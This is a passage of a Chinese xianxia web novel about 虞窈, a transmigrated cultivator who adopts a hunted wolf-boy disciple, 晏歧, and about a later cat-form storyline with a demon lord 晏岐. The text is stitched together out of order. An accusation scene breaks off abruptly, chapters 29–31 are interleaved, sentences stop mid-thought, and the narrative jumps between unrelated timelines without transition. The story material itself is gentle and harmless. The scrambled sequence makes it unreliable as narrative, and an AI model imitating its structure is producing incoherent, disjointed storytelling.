苍琼上神道:“有何委屈,但说无妨,若是属实,学宫自当为你做主。” 黎琴这才道:“徒儿多年来,在修炼之道上屡屡碰壁,一直难以突破瓶颈,一直以为是自己天赋欠缺,可原来被虞窈调换了气运!” “什么?气运?” “这如何调换的,黎琴在说虞窈调换气运?怎么可能!” 这话一出,立刻掀起了嘈杂议论声。 虞窈平静注视着黎琴。 黎琴目如泣血:“徒儿从前,也是以为自己灵根不佳,所以苦心修炼,可直到前段时日,渡雷劫时,才知自己难以飞升,是因为被一人换了气运!” 她缓缓抬起头来,那张清冷苍白的面庞上,眼中浮满泪珠,两颊沾着泥土,别添几分倔强。 众人顺着她的目光,看向虞窈。 黎琴踉跄起身,抬起手掌,放在另一只手的腕骨上,一道金色无形的细线出现。 虞窈低下头,看到那无形金线,勾缠到了自己的左手腕上。 “此金线就是调换气运的佐证。被调换气运双方,可以用金线感知对方,彼此命运相生交缠。这么多年来,我一直被虞窈吸血,被偷去了所有修炼心血。” 虞窈听出来了,唇角微微上扬,这是要恶人先告状,反咬一口,将她所做的丑事泼到自己身上? 她是觉得自己中了缄口术,无法为自己申冤,便真的百口莫辩吗? 长老蹙眉道:“虞窈,这是怎么回事?” 所有人望向虞窈,等着她开口。 他只是垂眸无言地打量了一会儿自己与小泥猫一同变脏了的手,鸦羽般的长睫若有所思地轻微敛起。 片刻后,竟是慢慢弯唇笑了起来,带着餍足之意。 男人随即微微曲起手指,用没有沾染到半点湿泥的指节轻刮了刮小狸奴粉嫩嫩的鼻尖。 声音平和温润,放得很轻:“笨猫惯会撒娇。” “本尊可不吃你这一套把戏。” 第 29 章 第二十九章 闻言,猫直接炸了。 两只脏兮兮的肉垫在半空中胡乱挥舞着,瞬间就抹了晏岐一手加一身的泥巴。 语气也凶巴巴的:“你哪只眼睛看见猫在撒娇了?!” 他想要带走它。 虞窈原本想说,一个毯子而已,等回到连云宗后,晏歧想要多少条,她都给他买。 但少年什么都没有多说,望着她的目光却很固执。 仿佛那个薄毯对他有着什么特殊的意义,非得带走不可。 于是虞窈的话到了嘴边,就硬生生变成了:“好,师尊陪你回去拿。” 抱着薄毯,揣上灵药,心满意足的黑发少年终于乖乖跟在师尊身边,踏上了回连云宗的路。 跟熊妖打的那一场架,几乎耗去了留存在虞窈体内大半的灵气。说着,虞窈狡黠地冲小徒弟眨了眨眼:“这玉牌只有为师和你才有哦,连你师公都没有呢。” 她假装没有看到晏歧变得错愕的目光,不由分说地牵起徒弟的手。 “晏歧,你跟师尊来。” 她拉着徒弟离开了房间。 柳至云格外宠爱自己这个最小的徒弟,分给虞窈居住的长青谷自然也是连云宗里最好的住处之一。 灵气充沛、占地颇广不说,出了房门就能看到绿意盎然的山野,视野开阔,且三面都能够晒到和煦温暖的阳光。 虞窈就这样牵着自家徒弟,走过了长青谷的每一寸土地。 先从徒弟住处旁的屋舍开始。 “晏歧,这是师尊住的地方,看,是不是离你的很近?以后不管发生什么事情,你都可以来这里找师尊,记住,是随时噢。” “这一片是你师公先前种的桂花树。现在还看不太出来对吧?没关系,等到将来秋天来临的时候,这些树上就会长满金黄色的桂花,届时整个长青谷都会弥漫着桂花的香气。” “我们可以摘一小部分桂花下来,到时候用它们来酿酒。” “嗯?没酿过?很简单的,在酒里放些黄糖,加上桂花,密封酿上三月,这样就能喝到好喝的桂花酿了,到时师尊再教你便是。” “这边是长青谷的后山,前面有个温泉,泡起来可舒服啦,冬暖夏凉的。不管身体有多疲累,只要来这里泡上小半个时辰,就会觉得神清气爽了。怎么样,很神奇吧?” “这片区域为师以前就很少来了,不过这里灵气肥沃,可以开垦几块灵田出来,种点种子下去。嗯西瓜就很好。” “晏歧吃过西瓜吗?红彤彤的,甜又多汁。可以用冰块提前冻它一夜,这样瓜肉吃起来就是凉丝丝的了,很解暑的。到时候你一半我一半,咱们可以边晒太阳边用勺子挖着吃。” “那边有条小溪。还记得师尊这几天给你烤的那些鱼么,味道应该还可以吧?长青谷的鱼都被灵气滋养过,肉质更好更肥美,以后我们就来这里钓鱼,为师接着给你烤鱼吃。” 而这座被设了禁制的山峦灵气稀薄,流失的灵气很难得到补充。 为了应对有可能出现的突发状况,虞窈决定先节省体内剩余的灵气,等带着狼崽离开禁制的范围后,再用飞行法器回连云宗。 好在一路上都没有什么意外发生。 师徒俩该吃吃,该喝喝,走累了就停下来歇息,天黑了就将就着在原地睡一觉,睡到自然醒后再接着赶路。 无聊的时候,虞窈就拉着晏歧说话,聊东聊西聊天聊地。 倒不是因为虞窈是个话痨,她只是单纯想将小徒弟丢失已久的说话能力给捡回来而已。 也正是得益于此,短短几天时间下来,晏歧说话果真不再像先前那样磕磕绊绊,至少能够流畅地表达自己的想法了。 只不过小徒弟是只闷葫芦,除了虞窈问话以外,几乎不怎么主动开口。 对此虞窈不甚在意。 她从没想过单凭这几天时间的相处,就要将在那种环境下长大的小徒弟变成一个阳光开朗大男孩。 再说了,虞窈认为每种性格的人都有其独一无二的特点,闷葫芦小徒弟其实也没什么不好。 路上实在是太过顺利,虞窈甚至还顺手救了只没化形的小猫妖。 小猫妖身上萦绕着的妖气并不重,小小一只,还没虞窈两个巴掌大,更像是和猫妈妈走丢了。 许是太久没有吃东西,小猫饿得奄奄一息,不禁让虞窈联想到了她第一次见到小狼崽子时,狼崽的可怜模样。 虞窈难得动了恻隐之心,于是照例拿剑插鱼的时候,一次性插了三条上来。 虞窈是第一次为人师尊,再加上性格使然,所以并未在第一时间就发现自家徒弟的不对劲。 直到余光瞥见小徒弟拿着烤好的鱼,却没有和往常一样埋头就吃,才疑惑地凑过去。 “怎么了,为师这次烤的鱼不好吃?” 虞窈顺便看了眼正吃得津津有味的小猫妖,心头疑惑更甚。 不应该呀,连小猫妖都吃得这么欢呢,她也没有烤过头啊。 晏歧摇摇头,声音一如既往地沙哑:“没有。” 虞窈便更加奇怪了:“那晏歧为何不吃?” 不饿?还是伤口不舒服了? 都不太像呀。 晏歧长睫垂下,视线落到小猫妖身上,没有再回话。 他只是不知该要如何告诉师尊。 师尊看那只猫妖的眼神他曾经见过,因为师尊就是这样看他的。 他曾一度感到困惑,师尊为什么要对他这么好,甚至还愿意将这样的他收作自己的徒弟。 现在他明白了。 他应该只是虞窈看着可怜,顺手救回来养在身边的吧。数衣襟的位置被猫抹得最脏,晏岐却也浑不在意,只是歪头,看着小泥猫轻笑起来。 “两只眼睛都看到了。”由于当时虞窈只简单说明了此行是与其他弟子一道,别的就没再多说,于是导致晏歧以为前去的人不光有同门的师兄弟,师尊也会跟着一同前往。 虞窈可算是懂了,怪不得当初徒弟会那么干脆地答应参加这次历练呢。 意识到将要离开长青谷、离开师尊一段时间,晏歧下意识地蹙起眉心,问师尊。 “师尊,那我能不能不去了?” 噢,看来有分离焦虑症的人不止她一个。 虞窈的内心瞬间就平衡了,然后义正严词地给出否定回答:“那当然不行了。人员早都确定好了,明早也就要出发了,不可以临时变卦的。” 晏歧闻言垂下了头,抿直了唇线一言不发,瞧着莫名有一两分与他冷冰冰的性子极不相符的委屈。 虞窈顿时就心软了。 徒弟是被她从那座山峦里带出来的,会对她有所依赖是情理之中的事,她不可能因此说他什么,亦或是责怪他。 但这趟护送任务该去还是得去的,她还想要徒弟趁此机会多结交一两个朋友呢。 便摸摸徒弟的脑袋,温声宽慰道:“只是下山几天而已,回来了就又能见到师尊了,是不是?” 是很典型的哄小孩的那种语气。 “这样吧,师尊不是给了你一张传讯符吗,等你哪天要回来了,就用传讯符提前知会师尊一声,师尊立马就动身去宗门口接你,这样好不好?” 晏歧:“不好。” 宗门口与长青谷之间的距离,用飞行法器也就一盏茶的功夫而已,何必劳累师尊特意跑这一趟。 虞窈有些哭笑不得。 叛逆期的小毛孩就是难哄,这不行那不行的。 但自家徒弟到底还是懂事的。 大抵是不愿让师尊为难,又或是单纯不愿让师尊觉得自己在无理取闹,晏歧终究没再提反悔的事。 第二天一大清早,就带上虞窈给他准备的储物囊,准备去宗门口与参与这次护送任务的其他弟子汇合了。 虞窈不想让徒弟看出自己的不舍,更怕自己一个没忍住,拉着徒弟继续唠叨。 于是在晏歧临行前来向自己告别的时候,只潇洒地“嗯”了声,留下一句。 “路上千万小心,师尊待会儿还有点事,就不送你了哈。” 小泥猫沉默了两秒。 然后便怒极开始新一轮的咪咪喵喵:“你个dj@ai%dla#j” 小狸奴口吐人言时的嗓音其实很清透,不似细软那般,带着股天生的软糯黏糊劲,但依然是非常好听、让人感到舒服的声线。 回到连云宗的第三天,晴。 风和日丽,万里无云,天气好到让人倍感舒适。 鉴于晏歧的经脉目前还跟个渔网似的,就算稍微积了点灵气,很快也全都漏光了,既没法练功,也无别的事情可做。 帮徒弟炼化了穹清丸后,虞窈怕徒弟在长青谷待着无聊,就打算趁着难得的好天气,践行她给小徒弟画的第一个饼——带他去长青谷的那条灵溪边钓鱼。 没错,考虑到自家徒弟身上还带着伤,没办法像她一样那么轻松地插鱼上来,为了让自家徒弟能够有点参与感,虞窈决定改“插”为“钓”。 美其名曰,平心静气,陶冶情操。 正式开始钓鱼之前,虞窈将钓鱼的一系列技巧和注意事项都一五一十地告诉给了小徒弟。 晏歧听得很是认真,不时点点头,表示自己都记在了心里。 师徒俩一人一竿,并排而坐。 不多时,虞窈就眼尖地发现,徒弟那边有鱼儿上钓。 鱼漂浮浮沉沉,虞窈立时眼前一亮,屏住呼吸,一脸期待地看向了徒弟。 短短几秒钟的功夫里,她就已经连待会儿徒弟把鱼钓上来后,她该要怎么花式夸夸都全部给想好了。 然而晏歧只一动不动地握着鱼竿,压根没有要提竿的意思。 虞窈不免开始着急,又怕贸然出声,会惊扰到水下的鱼儿。 无言僵持下,上钩的鱼结果还是不出意外地跑了。 虞窈这才敢放开声音说话:“晏歧,你刚刚怎么杵着没动呀?” 倒不是指责,她只是单纯有点疑惑。 收杆的技巧她方才不是都教与徒弟了么? 晏歧握着鱼竿,抿了抿唇,半晌才闷出一句:“我在等师尊的指令。” 他当然是知道鱼儿上钩了的,但虞窈没有给他下命令,他就不敢轻举妄动了。 这是完全在虞窈意料之外的答案。 看着徒弟顺从听话的模样,她笑眼弯弯,忍俊不禁道:“你是小狗吗,怎么还要人下指令的?” 话音刚落,虞窈便骤然意识到了不妥,恨不得立马咬断自己的舌头。 糟糕,她又把徒弟想成小狗也就算了,怎么还把心里的想法都给说出来了。 哪家师尊会这样说自己徒弟的。 虞窈略显尴尬地清了清嗓,试图补救:“咳,晏歧你别误会,师尊没有那个意思” 好在晏歧并不在意,只神色自若地点了点头:“弟子知道。” 师尊和别人不一样,她对自己没有恶意。 更何况—— 晏歧握着鱼竿,一言不发地垂下了眼。 他的本体是头狼没错。 可看着缀在师尊雪剑剑镦上的那只可爱的小猫玩偶,晏歧忽然就莫名想起了虞窈在那座被下了禁制的山峦里,曾救过的那只小猫妖。 他能看得出来,虞窈其实挺喜欢那只毛茸茸的小猫妖的。 而小狗和小猫一样,都是小小一只,毛绒绒的,天生就很会讨人欢心。 但是被九洲人通缉追杀、被世人视为“灾星”的狼就不一样了。 除了师尊以外,没有人会可怜他、喜欢他。 所以,晏歧歪了歪头,默不作声地在心里面想。 如果师尊也喜欢狗的话,那他也可以是一条小狗。 被师尊赐姓为“晏”的小狗,只对师尊摇尾巴。 真是有病。 第 30 章 第三十章 “尊上,这”高央眼疾手快地将猫小心抱好,只是有些无措地看向了晏岐,等着尊上指示。 小猫方才不是在尊上那里待得好好的吗,怎么突然又跑到她的怀里来了? 而晏岐只是转眸轻瞥了那只不知道又在闹什么脾气的猫儿一眼,淡淡说道:“就这样抱着吧。” “将好带她去洗个澡,待洗干净了,再送来本尊的寝殿。” 高央连忙垂首,恭敬称是。 给小狸奴洗澡这种事属于是一回生二回熟。 上次被高央按在水盆里连着搓了将近半个时辰爪爪的事情,虞窈还历历在目。 虽然过程是很漫长,但小绵羊给猫洗澡的手法和晏岐相比起来,简直好了不止一星半点。 水温温热,高央仔仔细细地把藏在小泥猫肉垫缝隙里的污泥全都搓洗了出来。 这是狼崽目前仅存的所有记忆当中,第一次被人这么温柔地对待。 他有点受宠若惊,甚至一时间竟有些沉溺于这样的感觉。 然而在余光瞥及虞窈白皙臂弯上那一抹刺眼的红后,便猛地缩回了手。 虞窈以为是自己没注意轻重,弄疼他了。 却见狼崽指指她的手臂,颇为艰难地张了张嘴,很是费劲地才从喉间挤出一个字。 “伤。” 虞窈于是就懂了。 她把巾帕递给少年,为了不惊吓到他,刻意放缓了声音:“那你自己擦擦,可以吗?” 少年面无表情地点了点头,伸手接过巾帕。 心里却在想,小神仙原来不仅长得好看,声音也这么好听。 擦完手的巾帕变得脏兮兮,正好旁边有条小溪,少年拿着巾帕,打算去溪边给虞窈洗干净。 然而那些泥污像是深深浸进了巾帕里似的,怎么洗都洗不掉。 少年无措地攥着巾帕,正当不知该如何是好的时候,已经给自己上好了药的虞窈走过来:“不用洗了,就这样吧。” “饿不饿,想不想吃鱼?” 少年立马摇了摇头。 虞窈刚受了伤,他不想要再麻烦她。 偏偏肚子非要跟他作对一般,在此时很不给面子地发出了“咕咕咕”的声响。 少年很明显地僵了一瞬,神情骤然变得窘迫慌张起来,看上去像是想要解释些什么。 虞窈却露出一副了然的表情,毫不在意地笑了笑:“那就先吃点鱼填填肚子吧。” “我”少年想说,那他去抓。 却见虞窈抽出佩剑,一句话没说完的功夫,便轻车熟路地插了两条鱼上来。 做完这一切,她才扭头疑惑地回望了少年一眼:“你刚刚想说什么?” 少年微微张着嘴,显然是看呆住了。 好不容易回过神来,立马摇摇头,如同做了什么错事一般,双手都背在了身后。 很像是在罚站。 见小少年这般模样,虞窈一双美目轻转,大概猜到了些什么。 她摸着下巴思忖片刻,偏头问少年:“对了,我手受伤了,目前行动不太方便,你可以帮我收集一些树枝干草来么?” 虞窈脑海里的系统很想吐槽。 手受伤?行动不方便? 拜托,你要不要看看你刚刚花不到十秒插上来的那两条鱼,真当主角会信啊? 结果下一秒就见少年点头如捣蒜,犹如打了鸡血一般,很是积极地掉头捡了一大堆干柴枯草过来。 系统:彳亍。 少年当然不可能知道虞窈脑海里还有一个系统的存在,自然也不会知道系统的吐槽。 他将这些都抱到了虞窈身边,旋即抿着唇角,一言不发地盯着她看。 不知为何,少年明明什么都没有说,面上也无任何多余的表情,但虞窈总觉得他现在这副眼睛亮亮的模样很像一只将尾巴摇成螺旋桨的邀功小狗。 虞窈想了想,猜测可能是因为狼和狗都同属于犬科,再加之现在的主角没什么攻击性,所以才会在偶然间让她产生“主角其实更像只小狗”的错觉。 她试探性地伸出手,摸摸少年的脑袋:“辛苦你了。” 小少年被摸得一僵,如同被施了定身术似的静止了两秒,立马又将头摇成拨浪鼓。 虞窈挑了挑眉。 别的不说,至少尚未黑化的主角现在看起来还挺可爱的。 火很快生了起来,鱼两面都烤得香而不焦,诱得人垂涎欲滴。 少年大抵是真的饿了,接过烤鱼就埋头开吃,感觉不到烫意似的。 这种吃法看得虞窈胆战心惊,既怕小少年吃太快噎着,又怕他被鱼刺卡着喉咙。 许是察觉到了虞窈端详的目光,也知道自己的吃相不算文雅,少年悄悄抬眼,迎上虞窈投过来的视线后,耳根竟渐渐红了。 他迅速错开目光,吃鱼的速度跟着慢了下来。 但当虞窈移开视线后,就又接着狼吞虎咽了。 虞窈觉得好玩,鱼也不吃了,故意支起下巴,一移不移地盯着小少年看。 果不其然,意识到虞窈又在看自己了,少年苍白的脸颊随着耳垂一齐,浮上了一抹不太起眼的红晕。 偏偏一个字都不说,对于虞窈这种堪称是恶趣味的行为更是没有丝毫抱怨或是其他,只默默降低了自己的吃鱼速度。 该怎么说呢。 就很乖。 几番拉扯下来,不禁让虞窈联想到了现代社会里,许多主人会给自家吃饭快的小狗准备的慢食碗。 于少年而言,她的目光就是那个慢食碗无疑。 刚冒出这样一个念头来,虞窈便骤然意识到似乎有哪里不太对劲。 等等,这个比喻有点像把她和主角都给骂了一遍。 虞窈立马甩甩头,将诸如此类的杂念都排除脑海。 她清清嗓,终于开口说话了:“其实吧,大口吃东西会让人感觉很有食欲。” 少年闻言,疑惑地歪了歪头,过了半天才后知后觉地反应过来,虞窈似乎是在宽慰他。 他抿抿唇角,没有回话,只不过依旧吃得慢吞吞的。 虞窈有些哭笑不得。 “真的,而且我看过了,那条小溪里有的是鱼,这两条不够吃的话,大不了我再去插两条上来便是。” 少年这回很快就听懂了,虞窈有把她自己的那份鱼也让给他的意思。 他连忙摇摇头,沙哑的声音说起话来极为艰辛:“你吃。” 虞窈也就不再劝他。 她用余光瞥一眼少年饿得瘦骨嶙峋的背,几乎能够摸到其下的骨头。 咬了两口烤鱼后,虞窈尝试着问:“你想不想离开这里,当我徒弟跟我走?这样的话,我就是你师尊了。” 看似随意的一句话,实则却是虞窈连着深思熟虑了好几天之后的结果。 在仙侠世界里,她和小狼崽小几百岁的年龄差其实算不得什么。对于一些能够飞升的大能而言,不过是弹指一挥间的事罢了。 所以她要是想以狼崽的长姐之类的身份自居,倒也不无不可。 但她与狼崽之间,终究是没有血缘关系的。 师尊和徒弟就不一样了。 所谓一日为师终身为父她倒是没有要当狼崽爹的意思。 可若是能以师尊的身份以身作则,教导狼崽、感化狼崽,那她的攻略任务进行起来,想必也会顺利许多。 只不过虞窈忽略了一点,“师尊”和“徒弟”对于几乎是在禁林里长大的少年来说,是很难理解的两个字眼。 少年抬起头,有些困惑地看向了虞窈。 他问:“什么、是师尊?什么、是徒弟?” 虞窈一时卡了壳,想了想,用尽量通俗易懂的话解释道。 “师尊呢,会拼尽全力保护自己的徒弟,谁都不能够欺负他。还有,师尊也会将自己会的所有本事都传授给自己徒弟。” “刚刚我是怎么打败那只熊妖的,你都看到了吧?怎么样,有没有很想学?想学的话,就得拜我为师。” 少年沉默良久,出乎虞窈意料的,他最后摇了摇头。 联想到自己在刚才的战斗中所受的伤,虞窈以为狼崽这是在嫌弃她不够厉害,于是指着受伤的那只胳膊:“这是意外。” “都怪这里的灵气太稀薄了,限制了我的发挥,导致我没办法使出全部功力——” 虞窈一句话尚未说完,就见狼崽再度摇了摇头,随即用那双黑黝黝的墨眸认真地看着她。 嗓音沙哑,却字句清晰。 “我,累赘。” 在说这三个字的时候,少年的语气和表情都十分平静,仿佛是在陈述什么人尽皆知的事实。 虞窈却蓦地愣住了。 电光石火间,她想起了一件无关紧要的小事。 是她先前在了解到这本仙侠小说的背景后,与系统展开的一番争论。 系统说,九洲与狼族之间是典型的电车难题。 一边是芸芸众生,一边是狼族,九洲为了天下苍生的性命,选择覆灭整个狼族也是合情合理的事。 当时的虞窈却打断了系统的话。 她说,这分明就是先有鸡还是先有蛋的问题。 凡事有果必有因,九洲把人家全族都给灭了,还派人到处通缉追杀狼崽,把狼崽逼到近乎绝路的境地上,狼崽不在未来灭了整个九洲,她才觉得狼崽恐怕脑子多少有点问题。 无论狼崽将来会长成什么样子,说到底,他现在也就只是个十五岁左右的半大少年而已。 十五岁,正是无拘无束、肆意张扬的年纪。 虞窈忍不住地想,倘若没有那个预言的话,狼崽现在会在做什么呢? 或许正受着狼王狼后宠爱、承欢膝下,又或是正与三两好友一起,恣意策马、游历天下。 总之,绝不会是像现在这样,穿着破破烂烂的衣裳、带着未愈的伤站在她面前,声色不改地用这种话来贬低自己。 短暂的相处下来,虞窈发现狼崽其实很乖,是个很可爱、也很让人心疼的孩子。 如果狼崽没有经历过那些,如果狼崽能够无忧无虑地长大的话,他真的会毫无缘由地在将来做出覆灭九洲这样的事情来么? 虞窈不这样认为。 她温吞地眨了眨眼,好半天才接话道:“诶,我还没有说完呢。” “师尊保护徒弟只是暂时的,师尊也有老去的一天,老了的师尊可就没办法继续庇护自己的徒弟了。” “等到那个时候呀,就得由长大的徒弟来回报师尊的恩情,这个付出其实是双向的。” 如果先前的虞窈只是单纯把这次穿书当成一次攻略任务来看待的话,那么现在虞窈的想法稍微发生了一点本质上的改变。 她突然想养一朵花。 虞窈看着明显听得一知半解的狼崽,笑得很温柔。 “知道园丁种花吗?徒弟对于师尊来说呢,其实就相当于是师尊养育的一朵小花。” “现在的小花或许还只是个花苞,甚至可能都还没有发芽,但它终有开花结果的那一天。师尊目前所做的一切,都是为了没发芽的种子能够在将来开花。” 少年其实压根就听不懂“园丁”究竟是个什么东西。 他也不明白,他怎么可能会成为小神仙养的一朵花呢? 花明明是那么漂亮的存在,不像他。 他甚至连株路边的杂草都算不上。 但他大致清楚了,“徒弟”并不是单方面受庇护的那一方。 终有一天,徒弟也要挡在师尊身前,庇护自己的师尊。 少年抬头望向虞窈那双栗褐色的眼睛。 明媚灿烂的阳光在虞窈白皙的面颊上流连辗转,将她鬓边的发丝晕染出了一层浅淡的光晕。 眉心的红色小痣在日光的映照下格外惹眼,更为虞窈增添了几分若有若无的仙气。 终有一天,他也可以庇护这样的小神仙吗? 少年想都不敢想。 这样的事于他而言,说是奢望也不为过。 毕竟现在的他什么都没有。 吃过的鱼和野兔是小神仙抓的。 他的伤是小神仙治的。 要取他性命的熊妖是小神仙打败的。 就连他目前身上唯一拥有的灵药和薄毯,也是小神仙送给他的。 他什么都没有。 然而,许是察觉到了少年一瞬间的动摇,虞窈突然凑近少年,指了指他手里快要吃完的烤鱼。 “对了,你还欠我条烤鱼呢,欠了东西就得还,你不当我徒弟、跟着我学本事的话,将来要怎么还给我呀?” 这话很明显是在玩赖。 但少年只是抿紧了唇,盯着虞窈弯翘的发丝尾梢,一言不发地在心里面想。 不对,他欠她的其实并不止一条鱼。 还有很多很多。 如果不是小神仙的话,说不定昨晚他就因为伤情突然恶化,连今早的晨露都看不见了。 少年一直没有回话,虞窈表面上看起来平静得很,心里却已经开始惴惴不安。 坏,该不会是她开玩笑开过头了吧? 正琢磨着该要怎么补救才好,忽听少年用他那沙哑的声音一字一顿地说道。 “师尊。” “嗯?”虞窈一开始还没反应过来。 几息后,突然猛一抬头:“等等,你刚刚叫我什么?” 少年于是望着她,认认真真地又喊了一遍。 这回比起上次来,就要流利许多了:“师尊。” 虞窈红唇微张。 怎么说呢,这还是她这辈子第一次被人叫“师尊”,感觉还挺奇妙的。 不过嘛,她现在好歹是狼崽亲口认证的师父了,在狼崽面前自然要有师尊的架子,不能够太过失态。 于是很快清清嗓子,有板有眼地“嗯”了声:“乖徒。” 这声“乖徒”令虞窈意识到一直以来似乎都缺了点什么。 “对了,”她紧接着开口,“为师一直忘了问,你可有姓名?” 闻言,狼崽沉默了下来。 过了半晌,他才垂下眼睫,缓慢地摇了摇头。 虞窈知道,狼王狼后肯定有在狼崽诞生之初,就给他取过一个名字的。 但狼崽现在是通缉之身,自然不可能用原来的名字。 再加上狼崽如今这反应,想必他对原本的身份和名字也没什么留恋。 虞窈摸着下巴琢磨半天,又用余光打量一圈周围,忽地眼前一亮。 “那你从今往后就叫嗯,晏歧,怎么样,可还喜欢?” 晏歧?就着临边清澈的溪水,虞窈将自家小徒弟好生拾掇了一番。 洗净的乌发高束,换上虞窈提前备在储物囊里的干净衣裳,终于有几分他这个年纪的少年应该有的样子了。 虞窈同时还颇为惊喜地发现,小徒弟不但一双换了瞳色的眼睛炯炯有神,长得也是极其好看的。 五官哪儿哪儿都挑不出毛病,就是实在是太瘦了点。 她准备的尺寸最小的衣裳,穿在徒弟身上也依然松松垮垮。 不过没关系,等回去了连云宗,她有信心能够将晏歧养得白白胖胖,单纯就是时间问题而已。 在灭掉火堆、即将启程回连云宗之前,晏歧突然牵住了虞窈的一小截衣袖,看起来像是有话要说。 虞窈于是停下脚步,很是耐心地问道:“怎么了?” 晏歧用手指了指身后,乌漆漆的双眸望着她:“毯。” 毯? 虞窈凝眉想了想,很快明白了。 他是指她昨晚给他盖的那个薄毯。 徒弟把她留给他的灵药藏到了别的地方,想必也把那个毯子给藏了起来。 少年并不明白这个名字的含义,甚至于就连每个音节究竟对应着哪个字,他其实也不知道。 但这是小神仙给他起的新名字。 尽管和小神仙相处的时间不多,但是在少年的心目中,小神仙已经成了一个无所不能的存在。 晏岐低眸看着猫:“在找什么?” 小白猫充耳不闻,只是很卖力地继续埋头找寻。 不知过去多久,小猫咪才猛地抬起头来,粉色的山竹肉垫里攥着个什么很不起眼的东西,得意洋洋地高举。 晏岐定睛一看。 是近乎透明的小猫指甲。 只有薄薄一片,像是层层剥离下来的洋葱,上面甚至还有一道极其不起眼的裂纹。 小白猫那对灵动的鸳鸯瞳却很亮很亮,里头像是藏着星星:“锵锵锵锵,猫找到宝贝了——” “这就是猫的珍视之物,猫的珍藏品~”《 》 30-40 第 31 章 第三十一章 于是乎,接下来的几天时间里,妖殿里随处可以见到一只小猫的身影。 穿梭于各个地方,像只寻宝鼠一样忙忙碌碌地到处“挖着宝藏”。 只可惜的是,猫掉落在其他地方的胡须和指甲都被每日固定打扫妖殿卫生的妖仆给清理干净了,虞窈找遍了所有的犄角旮旯,也没能找出来一根。 就在猫四处搜罗的时候,负责日常打扫妖殿的妖仆们也屏息凝神,心都提到了嗓子眼,生怕被这小祖宗找到漏网之鱼。 直到小白猫连着搜寻了一圈都一无所获后,妖仆们才纷纷松了口气。 还好还好,都是打扫干净了的,这个月的俸禄保住了。 白费了好一番力气的猫也不泄气,反而愈发有干劲地搜罗起其他宝贝来。 第六天。事情进展到这里,系统就算是成功完成了交接的任务,是时候该从虞窈的脑海里离开,去往下一个小世界、交接下一任宿主了。 虞窈颇有些依依不舍:“统,你这么快就要走了吗,不再多待几天了吗?你走了我会想念你的。” 系统莫名从虞窈的语气中听出一股子某个电视剧里演的“燕子,燕子你回来,没有你我怎么活啊!”的味儿。 它暗自吐槽:你那是舍不得我吗,你是舍不得即将离你而去的金手指才对吧。 表面上倒依旧是公事公办的语气:“系统脱离本世界倒计时,10、9、8——” “唉,好吧,”见挽留无果,虞窈重重叹了口气,“统,你的世界以后没有我了没关系,你要开心” 系统:“?” 不是,它单纯就想想而已,10934号你怎么还真演上了。 “7,1,0,脱离完毕。” “嗯?”虞窈立马听出不对劲,“统,你怎么直接从7跳到1了?” 中间的那些数字呢,都被系统给吃了吗。 然而脑海里的电流声已经彻底消失,没法再给出任何回应。 虞窈在心里“嘁”了一声,暗道没劲。 系统离开了,也就意味着她的攻略任务正式开始了。 她把注意力放回到少年身上,等少年吃完了鱼,才试探性地开口问道。 “晏歧,师尊带你离开这个地方,好不好?” 闻言,晏歧动了动毫无血色的嘴唇,眼神很是平静。 虞窈却读懂了他没有说出口的话。 离开这里,去哪儿呢? “回为师所在的宗门。” “唔,‘宗门’是什么你知道吗?就是每个修士平时生活的地方,我的师尊也在那里。” 说来也巧,系统的确满足了虞窈提出的第一个要求,除了“虞菀”以外,还给了她一个别的身份。 但这个身份对于虞窈来说,其实并不算新。 虞窈早些年刚入任务管理局的时候,接的都是一些无足轻重的小任务。 其中就包括穿进这个仙侠小世界里,在一个名为“连云宗”的宗门里,当连云宗掌门柳至云的关门弟子。 虞窈身份特殊,自然不可能在这个小世界里待一辈子。 所以刚被柳至云收为弟子没多久,就选择了闭关。 外界的时间流速与每个小世界里的时间流速不同,距离虞窈上次穿进来,已经过去了两百来年。 好在修仙之人闭关几十、几百年都是常有的事,现在虞窈正好可以用回这个身份。 虞窈自己也是万万没有想到,当初随便接的一个任务居然能在今天派上用场。 怪不得当时系统向她介绍背景的时候,她会觉得“虞菀仙尊”这个名字有点耳熟。 原来是她早就来过这个世界,只不过上一次穿进来的时候,还没有出现大能飞升、留下预言等等这一系列事情。 连云宗在九洲大大小小上百个宗门里的地位并不算高,但在连云宗所坐落的孟城里却很是出名,完全符合虞窈的所有要求。 尤其虞窈对柳至云以及她的师兄师姐的印象都很不错,所以没怎么纠结,就决定用回这个身份。 对于虞窈的提议,晏歧没说好,也没说不好。 虞窈看出他眼中的迟疑,想了想,俯下身来,温柔地摸了摸他的脑袋。 “你是不是怕离开这里后,有人会欺负你?别担心,师尊说过,师尊会保护你的。” 不。 不是这样的。 师尊不知道,可他很清楚。 他是通缉之身,倘若有朝一日被人发现了他的身份,一定会连累师尊的。 他不想这样。 然而就在这时,虞窈却忽然凑近了晏歧,笑眯眯地替他将额前凌乱的乌发拨了开来。 她语调随意,仿佛只是在跟他分享自己无意间的一个小发现。 “诶,先前没怎么注意,现在才瞧见,我们晏歧的眼睛生得可真漂亮,乌漆漆的,还这么有神。” 晏歧垂在腿侧的手指闻言微曲。 是了,狼族的眼瞳颜色都很特殊。 尤其是他。 雾蓝的瞳色几乎是他的标志了。 可他能改变自己的瞳色,就连师尊这么厉害的修士都没有察觉出任何异样。 那么,如果他能一直隐藏好自己的身份,不让其他人有所察觉的话,是不是就不会连累到师尊了? 少年抿了抿唇。 或许是这些想法说服了他自己,又或许单纯是因为落在头顶的掌心太过温暖,不禁让晏歧想要贪心更多。 毕竟师尊不是他。 师尊有自己的师尊,也有自己的宗门。 她一定来自于外面那个更加广阔有趣的天地,怎么可能因为他这个刚收的便宜徒弟就永远地留在这里。 总之,沉默半晌后,晏歧最终还是点了点头。 他跟她走。 虞窈照例在山谷里晃晃悠悠,寻思着今天抓点什么做给狼崽吃比较好。 上次的烤兔其实就挺不错,只不过瘦了点,一口下去几乎都是骨头。 要是今天能逮只稍微肥一点的就好了。 只是野兔还没抓到,虞窈就耳尖地听到了周遭传来的异响。 她顺着异响的来源,蹑手蹑脚地拨开了跟前碍眼的芦苇荡。 一眼就看到了不远处的狼崽。 经过一夜的休整,他的身体状况似乎好转了不少,脸色不再像先前那般苍白,只是—— 狼崽的对面有一只高大的熊妖。 那熊妖赫然有两米多高,凶神恶煞的气势很是骇人,一副要将少年生生吞入腹中的模样。 少年死死盯着面前的熊妖,雾蓝色的瞳眸逐渐变为了幽深的冰蓝,俨然是做好了战斗的准备。 这其实并不是狼崽第一次和熊妖正面对上。 